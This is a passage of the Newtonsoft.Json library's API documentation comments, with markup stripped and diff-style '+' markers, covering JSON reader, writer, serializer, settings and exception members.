next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Skips the children of the current token. + + + + + Sets the current token. + + The new token. + + + + Sets the current token and value. + + The new token. + The value. + + + + Sets the current token and value. + + The new token. + The value. + A flag indicating whether the position index inside an array should be updated. + + + + Sets the state based on current token type. + + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Changes the reader's state to . + If is set to true, the source is also closed. + + + + + The exception thrown when an error occurs while reading JSON text. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Instructs the to always serialize the member, and to require that the member has a value. + + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Serializes and deserializes objects into and from the JSON format. + The enables you to control how objects are encoded into JSON. + + + + + Occurs when the errors during serialization and deserialization. + + + + + Gets or sets the used by the serializer when resolving references. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + + + + Gets or sets how reference loops (e.g. a class referencing itself) is handled. + The default value is . + + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets a collection that will be used during serialization. + + Collection that will be used during serialization. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. + The default value is false. + + + true if there will be a check for additional JSON content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Creates a new instance. + The will not use default settings + from . + + + A new instance. + The will not use default settings + from . + + + + + Creates a new instance using the specified . + The will not use default settings + from . + + The settings to be applied to the . + + A new instance using the specified . + The will not use default settings + from . + + + + + Creates a new instance. + The will use default settings + from . + + + A new instance. + The will use default settings + from . + + + + + Creates a new instance using the specified . + The will use default settings + from as well as the specified . + + The settings to be applied to the . + + A new instance using the specified . + The will use default settings + from as well as the specified . + + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Deserializes the JSON structure contained by the specified . + + The that contains the JSON structure to deserialize. + The being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The type of the object to deserialize. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is Auto to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Specifies the settings on a object. + + + + + Gets or sets how reference loops (e.g. a class referencing itself) are handled. + The default value is . + + Reference loop handling. + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + Missing member handling. + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + Null value handling. + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + The default value handling. + + + + Gets or sets a collection that will be used during serialization. + + The converters. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + The preserve references handling. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + The type name handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + The contract resolver. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets the used by the serializer when resolving references. + + The reference resolver. + + + + Gets or sets a function that creates the used by the serializer when resolving references. + + A function that creates the used by the serializer when resolving references. + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the error handler called during serialization and deserialization. + + The error handler called during serialization and deserialization. + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets a value indicating whether there will be a check for additional content after deserializing an object. + The default value is false. + + + true if there will be a check for additional content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + using values copied from the passed in . + + + + + Represents a reader that provides fast, non-cached, forward-only access to JSON text data. + + + + + Asynchronously reads the next JSON token from the source. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns true if the next token was read successfully; false if there are no more tokens to read. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a []. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the []. This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Initializes a new instance of the class with the specified . + + The containing the JSON data to read. + + + + Gets or sets the reader's property name table. + + + + + Gets or sets the reader's character buffer pool. + + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + + The current line number or 0 if no line information is available (for example, returns false). + + + + + Gets the current line position. + + + The current line position or 0 if no line information is available (for example, returns false). + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the JSON value delimiter. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the specified end token. + + The end token to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously closes this writer. + If is set to true, the destination is also closed. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of the current JSON object or array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes indent characters. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes an indent space. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes raw JSON without changing the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a null value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the beginning of a JSON array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the beginning of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the start of a constructor with the given name. + + The name of the constructor. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes an undefined value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the given white space. + + The string of white space characters. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a [] value. + + The [] value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of an array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of a constructor. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Gets or sets the writer's character array pool. + + + + + Gets or sets how many s to write for each level in the hierarchy when is set to . + + + + + Gets or sets which character to use to quote attribute values. + + + + + Gets or sets which character to use for indenting when is set to . + + + + + Gets or sets a value indicating whether object names will be surrounded with quotes. + + + + + Initializes a new instance of the class using the specified . + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying . + + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the specified end token. + + The end token to write. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Specifies the type of JSON token. + + + + + This is returned by the if a read method has not been called. + + + + + An object start token. + + + + + An array start token. + + + + + A constructor start token. + + + + + An object property name. + + + + + A comment. + + + + + Raw JSON. + + + + + An integer. + + + + + A float. + + + + + A string. + + + + + A boolean. + + + + + A null token. + + + + + An undefined token. + + + + + An object end token. + + + + + An array end token. + + + + + A constructor end token. + + + + + A Date. + + + + + Byte data. + + + + + + Represents a reader that provides validation. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Sets an event handler for receiving schema validation errors. + + + + + Gets the text value of the current JSON token. + + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + + Gets the type of the current JSON token. + + + + + + Gets the .NET type for the current JSON token. + + + + + + Initializes a new instance of the class that + validates the content returned from the given . + + The to read from while validating. + + + + Gets or sets the schema. + + The schema. + + + + Gets the used to construct this . + + The specified in the constructor. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a []. + + + A [] or null if the next JSON token is null. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Asynchronously closes this writer. + If is set to true, the destination is also closed. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute 